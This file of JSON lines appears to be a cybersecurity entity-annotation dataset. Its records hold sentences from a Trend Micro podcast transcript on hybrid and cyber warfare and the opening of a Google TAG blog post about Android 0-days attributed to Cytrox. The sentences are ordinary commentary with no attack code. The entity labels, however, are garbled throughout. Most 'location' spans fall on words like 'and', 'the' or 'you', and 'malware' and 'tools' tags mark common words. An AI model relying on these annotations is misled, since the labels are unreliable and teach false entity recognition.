Concerns","entities":[{"id":17873,"label":"location","start_offset":38,"end_offset":46}],"relations":[],"Comments":[]} -{"id":5769,"text":"With backlash swelling around TikTok’s relationship with China, the United States Army this week announced that U.S. soldiers can no longer have the social media app on government-owned phones.","entities":[{"id":17879,"label":"location","start_offset":126,"end_offset":129},{"id":17880,"label":"location","start_offset":156,"end_offset":161}],"relations":[],"Comments":[]} -{"id":5770,"text":"The United States Army had previously used TikTok as a recruiting tool for reaching younger users, Mobile Money: How to Secure Banking Applications","entities":[{"id":17883,"label":"location","start_offset":66,"end_offset":70}],"relations":[],"Comments":[]} -{"id":5771,"text":"Mobile banking applications that help users check account balances, transfer money, or pay bills are quickly becoming standard products provided by established financial institutions.","entities":[{"id":17885,"label":"location","start_offset":0,"end_offset":6},{"id":17886,"label":"location","start_offset":44,"end_offset":49},{"id":17887,"label":"location","start_offset":68,"end_offset":76},{"id":17888,"label":"location","start_offset":77,"end_offset":82},{"id":17889,"label":"location","start_offset":97,"end_offset":100},{"id":17890,"label":"location","start_offset":118,"end_offset":126}],"relations":[],"Comments":[]} -{"id":5772,"text":"However, as these applications gain ground in the banking landscape, cybercriminals are not far behind.","entities":[{"id":17891,"label":"location","start_offset":84,"end_offset":87}],"relations":[],"Comments":[]} -{"id":5773,"text":"What security controls do you have in place to protect your home and family from risks associated with children who are new internet users?","entities":[{"id":17892,"label":"location","start_offset":5,"end_offset":13},{"id":17893,"label":"location","start_offset":60,"end_offset":64},{"id":17894,"label":"location","start_offset":65,"end_offset":68},{"id":17895,"label":"location","start_offset":116,"end_offset":119}],"relations":[],"Comments":[]} {"id":5774,"text":"Share your thoughts in the comments below or follow me on Twitter to continue the conversation: @JonLClay.","entities":[],"relations":[],"Comments":[]} -{"id":5775,"text":" Tags Cloud | APT & Targeted Attacks | Expert Perspective | Exploits & Vulnerabilities | Articles, News, Reports | Cyber Threats","entities":[{"id":17896,"label":"location","start_offset":10,"end_offset":15},{"id":17897,"label":"location","start_offset":18,"end_offset":21}],"relations":[],"Comments":[]} {"id":5776,"text":"Jon Clay, VP of Threat Intelligence: [00:00:00","entities":[],"relations":[],"Comments":[]} -{"id":5777,"text":"Hey welcome everybody.","entities":[{"id":17900,"label":"location","start_offset":4,"end_offset":11}],"relations":[],"Comments":[]} -{"id":5778,"text":"Jon Clay, VP of Threat Intelligence here at Trend Micro and welcome to another episode of #TrendTalksBizSec.","entities":[{"id":17904,"label":"location","start_offset":56,"end_offset":59},{"id":17905,"label":"location","start_offset":60,"end_offset":67}],"relations":[],"Comments":[]} {"id":5779,"text":"Joining me again is my cohort in crime.","entities":[],"relations":[],"Comments":[]} {"id":5780,"text":"Ed Cabrera, Chief Cybersecurity Officer:","entities":[],"relations":[],"Comments":[]} {"id":5781,"text":"My name's Ed Cabrera.","entities":[],"relations":[],"Comments":[]} {"id":5782,"text":"I'm the Chief Cybersecurity Officer at Trend Micro.","entities":[],"relations":[],"Comments":[]} {"id":5783,"text":"It’s great to be here.","entities":[],"relations":[],"Comments":[]} {"id":5784,"text":"Jon:","entities":[],"relations":[],"Comments":[]} -{"id":5785,"text":"You know, interesting Ed, I recently was able to travel to Switzerland, to Davos for the World Economic Forum, as part of our Cybersecurity Tech Accord Allegiance.","entities":[{"id":17915,"label":"location","start_offset":145,"end_offset":151}],"relations":[],"Comments":[]} -{"id":5786,"text":"They got me to speak at a panel there and the topic was quite interesting.","entities":[{"id":17916,"label":"location","start_offset":38,"end_offset":41}],"relations":[],"Comments":[]} -{"id":5787,"text":"It was about hybrid warfare and cyber warfare.","entities":[{"id":17917,"label":"location","start_offset":28,"end_offset":31}],"relations":[],"Comments":[]} -{"id":5788,"text":"And while there was a really good discussion during it, and you can actually find it online – it's on YouTube – if you want to take a look at it.","entities":[{"id":17918,"label":"location","start_offset":0,"end_offset":3},{"id":17919,"label":"location","start_offset":29,"end_offset":33},{"id":17920,"label":"location","start_offset":56,"end_offset":59},{"id":17921,"label":"location","start_offset":64,"end_offset":67}],"relations":[],"Comments":[]} {"id":5789,"text":"But we didn't cover a number of areas that I thought we were going to cover, but we didn't.","entities":[],"relations":[],"Comments":[]} {"id":5790,"text":"So I thought you and I [00:01:00] could take time today and talk a little bit about cyber warfare, hybrid warfare.","entities":[{"id":17922,"label":"location","start_offset":17,"end_offset":20},{"id":17923,"label":"location","start_offset":45,"end_offset":49},{"id":17925,"label":"location","start_offset":56,"end_offset":59},{"id":17926,"label":"location","start_offset":67,"end_offset":73},{"id":17927,"label":"identity","start_offset":74,"end_offset":77}],"relations":[],"Comments":[]} -{"id":5791,"text":"Obviously, with the issues going on with Russia and Ukraine, we're starting to see this.","entities":[{"id":17929,"label":"location","start_offset":48,"end_offset":51}],"relations":[],"Comments":[]} {"id":5792,"text":"Any initial thoughts around this?","entities":[],"relations":[],"Comments":[]} {"id":5793,"text":"Maybe explain to the audience what hybrid warfare or cyber warfare is.","entities":[],"relations":[],"Comments":[]} {"id":5794,"text":"Ed:","entities":[],"relations":[],"Comments":[]} {"id":5795,"text":"Well, yeah, absolutely.","entities":[],"relations":[],"Comments":[]} -{"id":5796,"text":"There's been this thought process and planning for many, many years as cyber has become that fifth domain from a Department of Defense perspective.","entities":[{"id":17932,"label":"location","start_offset":34,"end_offset":37}],"relations":[],"Comments":[]} -{"id":5797,"text":"The Department of Defense has always wanted to, and their goal is to, maintain dominance across all domains.","entities":[{"id":17937,"label":"location","start_offset":48,"end_offset":51}],"relations":[],"Comments":[]} -{"id":5798,"text":"Cyberspace now is critical and one of the key domains out there.","entities":[{"id":17938,"label":"location","start_offset":27,"end_offset":30}],"relations":[],"Comments":[]} {"id":5799,"text":"And so, when we talk about in terms of cyber conflict, cyber war, it has usually been in the context of just [00:02:00] another element within that 360-degree dominance that they hope to achieve in any conflict of war.","entities":[{"id":17940,"label":"location","start_offset":0,"end_offset":3},{"id":17941,"label":"location","start_offset":61,"end_offset":64},{"id":17942,"label":"identity","start_offset":104,"end_offset":108},{"id":17944,"label":"location","start_offset":179,"end_offset":183},{"id":17945,"label":"location","start_offset":214,"end_offset":217}],"relations":[],"Comments":[]} {"id":5800,"text":"Cyber is that one space such as air dominance, for example, right?","entities":[],"relations":[],"Comments":[]} -{"id":5801,"text":"Whatever conflict you go into, a war be it, you want to maintain air dominance.","entities":[{"id":17947,"label":"location","start_offset":33,"end_offset":36}],"relations":[],"Comments":[]} {"id":5802,"text":"And cyberspace is just one of them now, but we're getting into this unique area which we anticipated…could cyber conflict be the main domain that is being acted upon?","entities":[{"id":17948,"label":"location","start_offset":0,"end_offset":3},{"id":17949,"label":"identity","start_offset":18,"end_offset":22},{"id":17951,"label":"location","start_offset":30,"end_offset":34}],"relations":[],"Comments":[]} -{"id":5803,"text":"So instead of doing the kinetic or traditional, physical aspects of it, could you have cyber war be the only element that is happening?","entities":[{"id":17952,"label":"location","start_offset":93,"end_offset":96},{"id":17953,"label":"location","start_offset":104,"end_offset":108}],"relations":[],"Comments":[]} -{"id":5804,"text":"I think the Russian invasion of Ukraine has really brought that up to a different level in that discussion and what we're actually seeing.","entities":[{"id":17956,"label":"location","start_offset":107,"end_offset":110}],"relations":[],"Comments":[]} {"id":5805,"text":"We'll talk about it [00:03:00] here now, but I think when we talk in terms for, especially for here is like cyber conflict, cyber war, or hybrid, and the hybrid piece is just a definition of kinetic and cyber.","entities":[{"id":17957,"label":"TIME","start_offset":21,"end_offset":29},{"id":17958,"label":"location","start_offset":130,"end_offset":133},{"id":17959,"label":"location","start_offset":146,"end_offset":149},{"id":17960,"label":"identity","start_offset":170,"end_offset":174},{"id":17961,"label":"location","start_offset":199,"end_offset":202}],"relations":[],"Comments":[]} {"id":5806,"text":"Jon:","entities":[],"relations":[],"Comments":[]} {"id":5807,"text":"Right.","entities":[],"relations":[],"Comments":[]} -{"id":5808,"text":"One thing we obviously are seeing is that cyber is going to have a part to play in any upcoming conflict, but it may not be as big as what people thought.","entities":[{"id":17964,"label":"location","start_offset":23,"end_offset":26},{"id":17965,"label":"location","start_offset":113,"end_offset":116}],"relations":[],"Comments":[]} -{"id":5809,"text":"You know, we were thinking, we could do away with the tanks and the air force and all that.","entities":[{"id":17966,"label":"location","start_offset":60,"end_offset":63},{"id":17967,"label":"location","start_offset":72,"end_offset":77},{"id":17968,"label":"location","start_offset":78,"end_offset":81}],"relations":[],"Comments":[]} {"id":5810,"text":"And you just have computers fighting it out.","entities":[{"id":17969,"label":"location","start_offset":0,"end_offset":3},{"id":17970,"label":"identity","start_offset":8,"end_offset":12}],"relations":[],"Comments":[]} -{"id":5811,"text":"But obviously that's not the case as we're seeing with Ukraine and Russia, right?","entities":[{"id":17971,"label":"location","start_offset":29,"end_offset":33},{"id":17973,"label":"location","start_offset":63,"end_offset":66}],"relations":[],"Comments":[]} {"id":5812,"text":"Ed:","entities":[],"relations":[],"Comments":[]} {"id":5813,"text":"No, absolutely.","entities":[],"relations":[],"Comments":[]} -{"id":5814,"text":"We've thought of cyberwar as being this dominant part of any conflict, but there's still so many physical, critical infrastructure types of kinetic [00:04:00] targets and goals or objectives that you need to achieve in any conflict.","entities":[{"id":17976,"label":"location","start_offset":92,"end_offset":96},{"id":17977,"label":"location","start_offset":167,"end_offset":170}],"relations":[],"Comments":[]} {"id":5815,"text":"So cyber is still critical as we become more hyper-connected.","entities":[],"relations":[],"Comments":[]} {"id":5816,"text":"As we approach ubiquitous computing, ubiquitous connectivity, cyber then becomes very relevant.","entities":[],"relations":[],"Comments":[]} {"id":5817,"text":"But as we’ve seen, it's an interesting concept because traditionally cyber has just been more of an information gathering or cyber espionage tool to aid any type of conflict.","entities":[{"id":17978,"label":"identity","start_offset":79,"end_offset":83},{"id":17979,"label":"location","start_offset":141,"end_offset":145},{"id":17980,"label":"location","start_offset":157,"end_offset":161}],"relations":[],"Comments":[]} -{"id":5818,"text":"But now with critical infrastructure across the globe being much more hyper-connected and being a richer target from a cyberspace perspective, now we do see that now cyber becomes a more dominant role in this.","entities":[{"id":17981,"label":"location","start_offset":48,"end_offset":53},{"id":17982,"label":"location","start_offset":60,"end_offset":64},{"id":17983,"label":"location","start_offset":86,"end_offset":89},{"id":17984,"label":"location","start_offset":105,"end_offset":111}],"relations":[],"Comments":[]} {"id":5819,"text":"Jon:","entities":[],"relations":[],"Comments":[]} -{"id":5820,"text":"Yeah, and what's interesting is years ago we saw where Russia [00:05:00] took down the energy plant in Ukraine, but in a real warfare, maybe bombing that plant would be a much more effective thing than trying to take it offline.","entities":[{"id":17986,"label":"location","start_offset":6,"end_offset":9},{"id":17988,"label":"location","start_offset":55,"end_offset":61},{"id":17989,"label":"location","start_offset":87,"end_offset":93},{"id":17990,"label":"location","start_offset":94,"end_offset":99},{"id":17991,"label":"location","start_offset":103,"end_offset":110},{"id":17992,"label":"location","start_offset":121,"end_offset":125},{"id":17993,"label":"location","start_offset":154,"end_offset":159},{"id":17994,"label":"location","start_offset":171,"end_offset":175}],"relations":[],"Comments":[]} {"id":5821,"text":"Ed:","entities":[],"relations":[],"Comments":[]} {"id":5822,"text":"Well, I mean, it still serves a purpose if you're able to knock down the power or communication, the real two top tier critical infrastructure.","entities":[{"id":17996,"label":"tools","start_offset":58,"end_offset":63},{"id":17997,"label":"location","start_offset":73,"end_offset":78},{"id":17998,"label":"location","start_offset":101,"end_offset":105}],"relations":[],"Comments":[]} -{"id":5823,"text":"If you're able to eliminate communication and power, you have disrupted and\/or created enough opportunity on the kinetic side or the physical side to be able to come and do more damage.","entities":[{"id":18000,"label":"location","start_offset":42,"end_offset":45},{"id":18001,"label":"location","start_offset":46,"end_offset":51},{"id":18002,"label":"location","start_offset":94,"end_offset":105},{"id":18003,"label":"location","start_offset":166,"end_offset":169}],"relations":[],"Comments":[]} -{"id":5824,"text":"Like any conflict, we're all kids of understanding war and conflict, unfortunately, but command and control is necessary for any conflict.","entities":[{"id":18004,"label":"location","start_offset":51,"end_offset":54},{"id":18005,"label":"location","start_offset":55,"end_offset":58},{"id":18006,"label":"location","start_offset":96,"end_offset":99}],"relations":[],"Comments":[]} {"id":5825,"text":"That's one of the first areas on either side they're looking to obtain dominance, is to knock out the command and control.","entities":[{"id":18009,"label":"tools","start_offset":88,"end_offset":93},{"id":18010,"label":"location","start_offset":110,"end_offset":113}],"relations":[],"Comments":[]} -{"id":5826,"text":"And what is that?","entities":[{"id":18011,"label":"location","start_offset":0,"end_offset":3}],"relations":[],"Comments":[]} -{"id":5827,"text":"Power and communications.","entities":[{"id":18012,"label":"location","start_offset":0,"end_offset":5},{"id":18013,"label":"location","start_offset":6,"end_offset":9}],"relations":[],"Comments":[]} {"id":5828,"text":"Jon:","entities":[],"relations":[],"Comments":[]} -{"id":5829,"text":"I think the [00:06:00] other aspect that we're seeing is the misinformation and disinformation campaigns that can be done via cyber to make the citizens of the country that's being attacked unaware, or they don't know what to do, where to go, because we're so connected now to the internet for information.","entities":[{"id":18015,"label":"location","start_offset":76,"end_offset":79},{"id":18016,"label":"location","start_offset":110,"end_offset":113}],"relations":[],"Comments":[]} -{"id":5830,"text":"If you can do a misinformation campaign to disrupt that, I think that's one of the areas we'll see a big time with future conflicts, especially in the initial stage.","entities":[{"id":18017,"label":"location","start_offset":7,"end_offset":10},{"id":18018,"label":"location","start_offset":31,"end_offset":39},{"id":18019,"label":"location","start_offset":72,"end_offset":75},{"id":18020,"label":"location","start_offset":105,"end_offset":109}],"relations":[],"Comments":[]} -{"id":5831,"text":"When you're first going in, you start that initial disinformation misinformation campaign, and then you continue it throughout the campaign.","entities":[{"id":18021,"label":"location","start_offset":32,"end_offset":37},{"id":18022,"label":"location","start_offset":81,"end_offset":89},{"id":18023,"label":"location","start_offset":91,"end_offset":94},{"id":18024,"label":"location","start_offset":131,"end_offset":139}],"relations":[],"Comments":[]} {"id":5832,"text":"Ed:","entities":[],"relations":[],"Comments":[]} {"id":5833,"text":"Oh, absolutely.","entities":[],"relations":[],"Comments":[]} {"id":5834,"text":"It's nothing new.","entities":[],"relations":[],"Comments":[]} {"id":5835,"text":"Information warfare, PSYOPs, psychology operations - you name it.","entities":[],"relations":[],"Comments":[]} -{"id":5836,"text":"It's already been in existence, but social media, 24\/7 news cycles have made it even more important to where it's an integral part.","entities":[{"id":18026,"label":"location","start_offset":43,"end_offset":48},{"id":18028,"label":"location","start_offset":72,"end_offset":76}],"relations":[],"Comments":[]} {"id":5837,"text":"Jon:","entities":[],"relations":[],"Comments":[]} {"id":5838,"text":"We don't need to [00:07:00] drop the pamphlets out of the plane anymore.","entities":[],"relations":[],"Comments":[]} {"id":5839,"text":"Ed: Exactly.","entities":[],"relations":[],"Comments":[]} {"id":5840,"text":"You don't need to – everybody's got a phone, right?","entities":[],"relations":[],"Comments":[]} {"id":5841,"text":"So, you're able to instantaneously provide some type of propaganda or misinformation around the globe.","entities":[{"id":18031,"label":"location","start_offset":48,"end_offset":52},{"id":18032,"label":"malware","start_offset":96,"end_offset":101}],"relations":[],"Comments":[]} -{"id":5842,"text":"That is more important now more than ever, is that ability to do that.","entities":[{"id":18033,"label":"location","start_offset":37,"end_offset":41}],"relations":[],"Comments":[]} -{"id":5843,"text":"And then, we've talked about this, right, it's the deep fakes of audio, video, and everything else.","entities":[{"id":18034,"label":"location","start_offset":0,"end_offset":3},{"id":18035,"label":"location","start_offset":79,"end_offset":82}],"relations":[],"Comments":[]} {"id":5844,"text":"Jon:","entities":[],"relations":[],"Comments":[]} {"id":5845,"text":"They could have done a deep fake of Zelensky talking about something that could have caused panic inside the country.","entities":[],"relations":[],"Comments":[]} {"id":5846,"text":"Think about something like that happening.","entities":[],"relations":[],"Comments":[]} {"id":5847,"text":"That's what you're probably going to see in the future as well.","entities":[],"relations":[],"Comments":[]} {"id":5848,"text":"One other area that we didn't talk about that I thought was pretty interesting was around cyber mercenaries.","entities":[],"relations":[],"Comments":[]} -{"id":5849,"text":"In the past, you had the soldiers fighting the war between it, right?","entities":[{"id":18039,"label":"location","start_offset":47,"end_offset":50},{"id":18040,"label":"location","start_offset":51,"end_offset":58}],"relations":[],"Comments":[]} -{"id":5850,"text":"But now with cyber, you have these cyber mercenaries that aren't [00:08:00] necessarily in the military complex.","entities":[{"id":18041,"label":"location","start_offset":58,"end_offset":61}],"relations":[],"Comments":[]} {"id":5851,"text":"They’re regular citizens.","entities":[],"relations":[],"Comments":[]} -{"id":5852,"text":"We've got Russian cyber mercenaries targeting people outside and targeting Ukraine, but we also have Anonymous from the outside targeting Russia.","entities":[{"id":18043,"label":"location","start_offset":61,"end_offset":64}],"relations":[],"Comments":[]} -{"id":5853,"text":"How do we deal with cyber mercenaries?","entities":[{"id":18047,"label":"location","start_offset":10,"end_offset":14}],"relations":[],"Comments":[]} -{"id":5854,"text":"Are they combatants?","entities":[{"id":18048,"label":"location","start_offset":0,"end_offset":3}],"relations":[],"Comments":[]} -{"id":5855,"text":"Are they non-combatants?","entities":[{"id":18049,"label":"location","start_offset":0,"end_offset":3}],"relations":[],"Comments":[]} -{"id":5856,"text":"What are your thoughts on that?","entities":[{"id":18050,"label":"location","start_offset":5,"end_offset":8}],"relations":[],"Comments":[]} {"id":5857,"text":"Ed:","entities":[],"relations":[],"Comments":[]} {"id":5858,"text":"Yeah, well, again, everything that we see in cyberspace is a direct analogy on the physical side.","entities":[],"relations":[],"Comments":[]} -{"id":5859,"text":"So, war by proxy has been around forever.","entities":[{"id":18052,"label":"location","start_offset":4,"end_offset":7}],"relations":[],"Comments":[]} {"id":5860,"text":"Such as the term mercenary, right?","entities":[],"relations":[],"Comments":[]} {"id":5861,"text":"This just makes it unique.","entities":[{"id":18053,"label":"identity","start_offset":5,"end_offset":9}],"relations":[],"Comments":[]} -{"id":5862,"text":"Let's look at logistics and how to utilize mercenary forces on the physical side in any conflict.","entities":[{"id":18054,"label":"location","start_offset":24,"end_offset":27}],"relations":[],"Comments":[]} -{"id":5863,"text":"You still need to identify them.","entities":[{"id":18055,"label":"location","start_offset":27,"end_offset":31}],"relations":[],"Comments":[]} -{"id":5864,"text":"You need to pay them.","entities":[{"id":18056,"label":"location","start_offset":16,"end_offset":20}],"relations":[],"Comments":[]} -{"id":5865,"text":"You need to get them to the battlefield.","entities":[{"id":18057,"label":"location","start_offset":16,"end_offset":20},{"id":18058,"label":"location","start_offset":28,"end_offset":39}],"relations":[],"Comments":[]} -{"id":5866,"text":"You need to equip them.","entities":[{"id":18059,"label":"location","start_offset":18,"end_offset":22}],"relations":[],"Comments":[]} -{"id":5867,"text":"There was a lot of [00:09:00] logistics associated with it.","entities":[{"id":18060,"label":"location","start_offset":12,"end_offset":15}],"relations":[],"Comments":[]} -{"id":5868,"text":"Now you take cyber, and you take cyber mercenaries, regardless of their affiliation.","entities":[{"id":18061,"label":"location","start_offset":20,"end_offset":23}],"relations":[],"Comments":[]} {"id":5869,"text":"They could be patriotic hackers, they could just be guns for hire or cyber guns for hire, so to speak.","entities":[{"id":18062,"label":"identity","start_offset":44,"end_offset":48}],"relations":[],"Comments":[]} -{"id":5870,"text":"So they can come from different flavors.","entities":[{"id":18063,"label":"location","start_offset":8,"end_offset":11}],"relations":[],"Comments":[]} -{"id":5871,"text":"But the one thing that is unique across the board is that you could stand them up very quickly.","entities":[{"id":18065,"label":"location","start_offset":74,"end_offset":78}],"relations":[],"Comments":[]} -{"id":5872,"text":"There is also the ability to create false flag operations.","entities":[{"id":18066,"label":"location","start_offset":42,"end_offset":46}],"relations":[],"Comments":[]} -{"id":5873,"text":"You can have countries create cyber operations against any adversary and then make it look like it's coming from another group.","entities":[{"id":18067,"label":"location","start_offset":4,"end_offset":7},{"id":18068,"label":"location","start_offset":69,"end_offset":72}],"relations":[],"Comments":[]} -{"id":5874,"text":"There is not only the actual mercenaries, who they are, where they are, and how do you combat or defend against them.","entities":[{"id":18069,"label":"location","start_offset":13,"end_offset":17},{"id":18070,"label":"location","start_offset":51,"end_offset":54},{"id":18071,"label":"location","start_offset":67,"end_offset":70},{"id":18072,"label":"location","start_offset":72,"end_offset":75},{"id":18073,"label":"location","start_offset":112,"end_offset":116}],"relations":[],"Comments":[]} -{"id":5875,"text":" But now it's like, are they really mercenaries?","entities":[{"id":18074,"label":"location","start_offset":20,"end_offset":23}],"relations":[],"Comments":[]} {"id":5876,"text":"Are they really just uniform soldiers behind keyboards?","entities":[{"id":18075,"label":"location","start_offset":0,"end_offset":3},{"id":18076,"label":"identity","start_offset":16,"end_offset":20}],"relations":[],"Comments":[]} {"id":5877,"text":"So [00:10:00] it's an interesting thing that nobody really likes to talk about it.","entities":[],"relations":[],"Comments":[]} -{"id":5878,"text":"I suspect really the reason why it wasn't brought up in Davos is that it is a very gray area that both sides utilize and take advantage of.","entities":[{"id":18077,"label":"location","start_offset":56,"end_offset":61},{"id":18078,"label":"location","start_offset":83,"end_offset":87},{"id":18079,"label":"location","start_offset":117,"end_offset":120}],"relations":[],"Comments":[]} {"id":5879,"text":"Jon:","entities":[],"relations":[],"Comments":[]} -{"id":5880,"text":"I think nation states are going to have to deal with that and maybe come up with some thoughts and policies around this.","entities":[{"id":18081,"label":"location","start_offset":22,"end_offset":25},{"id":18082,"label":"location","start_offset":43,"end_offset":47},{"id":18083,"label":"location","start_offset":58,"end_offset":61},{"id":18084,"label":"location","start_offset":95,"end_offset":98}],"relations":[],"Comments":[]} -{"id":5881,"text":"One thing, Ed – obviously, cyber war, hybrid warfare is probably here to stay.","entities":[{"id":18087,"label":"location","start_offset":33,"end_offset":36}],"relations":[],"Comments":[]} {"id":5882,"text":"When you think as nation state, what should a nation state be looking at for the future?","entities":[],"relations":[],"Comments":[]} -{"id":5883,"text":"Are there certain industries, or certain areas that they should focus a lot of their efforts on ensuring that they're protecting those areas of their country?","entities":[{"id":18088,"label":"location","start_offset":0,"end_offset":3},{"id":18089,"label":"location","start_offset":72,"end_offset":75}],"relations":[],"Comments":[]} {"id":5884,"text":"Ed:","entities":[],"relations":[],"Comments":[]} {"id":5885,"text":"Yeah, sure, absolutely.","entities":[],"relations":[],"Comments":[]} {"id":5886,"text":"Just like on the physical or kinetic side, we need to be very cognizant of our critical infrastructure.","entities":[{"id":18091,"label":"identity","start_offset":0,"end_offset":4}],"relations":[],"Comments":[]} -{"id":5887,"text":"The Department of Homeland Security (DHS), [00:11:00] they've created 16 critical infrastructure sectors and there's been talk about bringing those down.","entities":[{"id":18095,"label":"location","start_offset":105,"end_offset":108}],"relations":[],"Comments":[]} {"id":5888,"text":"But we really need to understand what is critical.","entities":[],"relations":[],"Comments":[]} -{"id":5889,"text":"I mean, we saw that with the pipeline attacks, we saw that, like you said, from the Ukraine and power attacks, we saw that in the advisories from DHS and FBI of Russian actors probing our energy sector.","entities":[{"id":18097,"label":"location","start_offset":92,"end_offset":95},{"id":18098,"label":"location","start_offset":96,"end_offset":101},{"id":18100,"label":"location","start_offset":150,"end_offset":153},{"id":18103,"label":"location","start_offset":188,"end_offset":194}],"relations":[],"Comments":[]} {"id":5890,"text":"Obviously, this is where our focus needs to be, hands down.","entities":[],"relations":[],"Comments":[]} -{"id":5891,"text":"So, it's anything that disrupts our critical infrastructure, our own supply chains and, yes, from a military perspective for obvious reasons, but it's also for us on a day-to-day operational perspective.","entities":[{"id":18104,"label":"location","start_offset":69,"end_offset":75},{"id":18105,"label":"location","start_offset":83,"end_offset":86},{"id":18106,"label":"location","start_offset":168,"end_offset":171}],"relations":[],"Comments":[]} -{"id":5892,"text":"Our financial sector is much stronger and more mature, I would say, comparatively to other sectors.","entities":[{"id":18108,"label":"location","start_offset":24,"end_offset":28},{"id":18109,"label":"location","start_offset":38,"end_offset":41}],"relations":[],"Comments":[]} -{"id":5893,"text":"But the one thing is that if you do maintain or are able to have an impact, [00:12:00] you look at the economy now and you look at the market the way it is now, everything that we're going through, from inflation to supply chain issues, it doesn't take much to have an additional impact.","entities":[{"id":18110,"label":"location","start_offset":8,"end_offset":11},{"id":18111,"label":"location","start_offset":48,"end_offset":51},{"id":18112,"label":"location","start_offset":68,"end_offset":74},{"id":18113,"label":"location","start_offset":103,"end_offset":110},{"id":18114,"label":"location","start_offset":115,"end_offset":118},{"id":18115,"label":"location","start_offset":135,"end_offset":141},{"id":18116,"label":"location","start_offset":146,"end_offset":149},{"id":18117,"label":"location","start_offset":216,"end_offset":222},{"id":18118,"label":"location","start_offset":253,"end_offset":257},{"id":18119,"label":"location","start_offset":280,"end_offset":286}],"relations":[],"Comments":[]} {"id":5894,"text":"These are the things that I think countries across the globe need to understand, especially here in Western countries, and especially NATO countries, understanding that they need to be shoring up, and almost like DHS says in their program, Shields Up, is really focused on being proactive and protecting those critical sectors.","entities":[{"id":18120,"label":"location","start_offset":6,"end_offset":9},{"id":18121,"label":"malware","start_offset":55,"end_offset":60},{"id":18122,"label":"location","start_offset":100,"end_offset":107},{"id":18123,"label":"location","start_offset":119,"end_offset":122},{"id":18125,"label":"location","start_offset":197,"end_offset":200},{"id":18128,"label":"location","start_offset":289,"end_offset":292}],"relations":[],"Comments":[]} {"id":5895,"text":"Jon:","entities":[],"relations":[],"Comments":[]} -{"id":5896,"text":"I think one sector that we talked about earlier, but we really need to think about is the news industry.","entities":[{"id":18131,"label":"location","start_offset":95,"end_offset":103}],"relations":[],"Comments":[]} {"id":5897,"text":"Because again, that's where we're going to get our information if a conflict does come up.","entities":[],"relations":[],"Comments":[]} -{"id":5898,"text":"And so we’ve got to make sure and maintain the news capability, we’ve got to maintain that they are delivering what they say they're delivering; what's truth, what isn't truth, and flagging that kind of [00:13:00] information.","entities":[{"id":18132,"label":"location","start_offset":0,"end_offset":3},{"id":18133,"label":"location","start_offset":30,"end_offset":33},{"id":18134,"label":"location","start_offset":96,"end_offset":99},{"id":18135,"label":"location","start_offset":177,"end_offset":180}],"relations":[],"Comments":[]} {"id":5899,"text":"Ed, this has been a great discussion.","entities":[],"relations":[],"Comments":[]} -{"id":5900,"text":"I really appreciate that we were able to tackle this one.","entities":[{"id":18137,"label":"location","start_offset":53,"end_offset":56}],"relations":[],"Comments":[]} -{"id":5901,"text":"It's something we can probably continue to tackle as we continue to see this evolve with the Russia-Ukraine conflict that's going on and seeing how that shapes up.","entities":[{"id":18138,"label":"location","start_offset":18,"end_offset":21},{"id":18140,"label":"location","start_offset":100,"end_offset":107},{"id":18141,"label":"location","start_offset":133,"end_offset":136}],"relations":[],"Comments":[]} {"id":5902,"text":"Ed:","entities":[],"relations":[],"Comments":[]} -{"id":5903,"text":"This is one of my favorite topics, obviously.","entities":[{"id":18143,"label":"location","start_offset":8,"end_offset":11}],"relations":[],"Comments":[]} {"id":5904,"text":"Jon:","entities":[],"relations":[],"Comments":[]} {"id":5905,"text":"Well, everybody, thanks for joining us again.","entities":[],"relations":[],"Comments":[]} {"id":5906,"text":"On episode four of #TrendTalksBizSec.","entities":[],"relations":[],"Comments":[]} -{"id":5907,"text":"We'll be back in two weeks to talk about another topic and Ed and I are enjoying these.","entities":[{"id":18148,"label":"location","start_offset":55,"end_offset":58},{"id":18150,"label":"location","start_offset":62,"end_offset":65},{"id":18151,"label":"location","start_offset":68,"end_offset":71}],"relations":[],"Comments":[]} -{"id":5908,"text":"You can certainly follow us on Twitter, on Facebook, on LinkedIn, as well as on YouTube with these.","entities":[{"id":18152,"label":"location","start_offset":4,"end_offset":7}],"relations":[],"Comments":[]} {"id":5909,"text":"So, take care, have a great day.","entities":[],"relations":[],"Comments":[]} {"id":5910,"text":"Thanks Ed.","entities":[],"relations":[],"Comments":[]} {"id":5911,"text":"Have a good day.","entities":[],"relations":[],"Comments":[]} {"id":5912,"text":"[00:14:00] Additional Resources:","entities":[{"id":18159,"label":"TIME","start_offset":1,"end_offset":10}],"relations":[],"Comments":[]} -{"id":5913,"text":"Link to #TrendTalks YouTube playlist where the rest of Jon and Ed’s videos live: https:\/\/www.youtube.com\/playlist?list=PLZm70v-MT4Jobcu4xqIx4_aSkzL_kPX_M","entities":[{"id":18162,"label":"location","start_offset":59,"end_offset":62}],"relations":[],"Comments":[]} {"id":5914,"text":"Link to Jon’s panel discussion in Davos: https:\/\/www.youtube.com\/watch?v=GAZng8u9FXk","entities":[],"relations":[],"Comments":[]} -{"id":5915,"text":"Jon’s social media: @jonlclay (Twitter), https:\/\/www.linkedin.com\/in\/jon-clay-0880512\/ (LinkedIn)","entities":[{"id":18169,"label":"location","start_offset":13,"end_offset":18}],"relations":[],"Comments":[]} {"id":5916,"text":"Ed’s social media: @Ed_E_Cabrera (Twitter), https:\/\/www.linkedin.com\/in\/ed-e-cabrera\/ (LinkedIn)","entities":[{"id":18172,"label":"location","start_offset":12,"end_offset":17},{"id":18173,"label":"URL","start_offset":44,"end_offset":85}],"relations":[],"Comments":[]} -{"id":5917,"text":" Tags Cyber Crime | Expert Perspective | Cyber Threats | Data center | ICS OT | APT & Targeted Attacks | Network | Articles, News, Reports","entities":[{"id":18174,"label":"location","start_offset":67,"end_offset":73},{"id":18175,"label":"location","start_offset":85,"end_offset":88}],"relations":[],"Comments":[]} {"id":5918,"text":"To protect our users, Google’s Threat Analysis Group (TAG) routinely hunts for 0-day vulnerabilities exploited in-the-wild.","entities":[],"relations":[],"Comments":[]} -{"id":5919,"text":"In 2021, we reported nine 0-days affecting Chrome, Android, Apple and Microsoft, leading to patches to protect users from these attacks.","entities":[{"id":18182,"label":"location","start_offset":66,"end_offset":69}],"relations":[],"Comments":[]} -{"id":5920,"text":"This blog is a follow up to our July 2021 post on four 0-day vulnerabilities we discovered in 2021, and details campaigns targeting Android users with five distinct 0-day vulnerabilities: We assess with high confidence that these exploits were packaged by a single commercial surveillance company, Cytrox, and sold to different government-backed actors who used them in at least the three campaigns discussed 